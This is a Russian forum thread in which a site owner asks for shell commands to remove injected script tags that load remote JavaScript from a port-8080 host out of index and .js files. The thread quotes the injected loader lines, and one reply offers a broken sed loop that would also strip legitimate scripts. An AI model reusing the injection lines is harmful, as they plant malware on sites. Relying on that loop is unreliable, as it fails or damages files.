Junkie25 Опубликовано 20 июля, 2010 Жалоба Поделиться Опубликовано 20 июля, 2010 Нужно удалить эти строки: <script type="text/javascript" src="http://сайт.ru:8080/IO.js"></script><!--0a5fec20c5b625a2e772083c7da4a3c9--> из всех файлов index.php, index.html, index.xhtml, index.htm, index.wml и т.п. И эту строку: document.write('<s'+'cript type="text/javascript" src="http://сайт.ru:8080/Delete.js"></scr'+'ipt>'); из всех файлов .js Какими командами это сделать? В shell не соображаю. Цитата Ссылка на комментарий Поделиться на другие сайты Поделиться
AccessD Опубликовано 21 июля, 2010 Жалоба Поделиться Опубликовано 21 июля, 2010 sed -i 's/string_to_substitute/new_string/g' имя файла не забудте про экранирование некот. символов. Цитата Ссылка на комментарий Поделиться на другие сайты Поделиться
griffith Опубликовано 28 марта Жалоба Поделиться Опубликовано 28 марта Я бы сделал так scripts=$(cat ./*.{php,html,xhtml,wml,htm} | grep -P "<script" | grep -P "src=" | cut -d '"' -f 2) ; for i in "$scripts" do sed -i 's/"$i//g" done и так далее Цитата Ссылка на комментарий Поделиться на другие сайты Поделиться
griffith Опубликовано 28 марта Жалоба Поделиться Опубликовано 28 марта В 21.07.2010 в 22:46, AccessD сказал: sed -i 's/string_to_substitute/new_string/g' имя файла не забудте про экранирование некот. символов. Да кстати AccessD Прав я вот знаю шел но еще не очень Цитата Ссылка на комментарий Поделиться на другие сайты Поделиться
Рекомендуемые сообщения
Присоединяйтесь к обсуждению
Вы можете написать сейчас и зарегистрироваться позже. Если у вас есть аккаунт, авторизуйтесь, чтобы опубликовать от имени своего аккаунта.